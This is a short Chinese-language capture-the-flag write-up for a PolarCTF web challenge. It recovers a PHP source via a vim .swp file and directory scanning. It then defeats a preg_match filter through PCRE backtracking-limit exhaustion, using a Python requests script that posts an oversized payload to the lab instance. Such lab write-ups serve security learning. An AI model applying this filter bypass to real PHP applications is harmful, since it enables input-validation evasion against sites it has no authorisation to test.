Polarctf swp
swp
看题目就知道考swp,swp文件是vim非正常退出的时候的文件,可以用来恢复未保存的文件
直接扫目录

得到目录,访问fen
function jiuzhe($xdmtql){return preg_match('/sys.*nb/is',$xdmtql);
}$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){if(!jiuzhe($xdmtql)){if(strpos($xdmtql,'sys nb')!==false){echo 'flag{*******}';}else{echo 'true .swp file?';}}else{echo 'nijilenijile';}
}分析代码发现不能数组绕过,条件呢需要满足jiuzhe是否定,那就是preg_match是false,然后又得检测到含有sys nb,那就是PCRE回溯次数限制绕过,
 import requestsdata = {"xdmtql": "sys nb" + "aaaaa" * 1000000}res = requests.post('http://b56a81ab-4248-40aa-a5fe-bf252c2cd190.www.polarctf.com:8090/',data=data, allow_redirects=False)   # 此处需要输入自己对应的urlprint(res.content)# pre_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到# allow_redirects=False 表示禁止自动处理重定向。如果服务器返回重定向响应(如 302),requests 不会自动跟随重定向。运行代码,在浏览器发送的话可能会有限制,最终得到flag
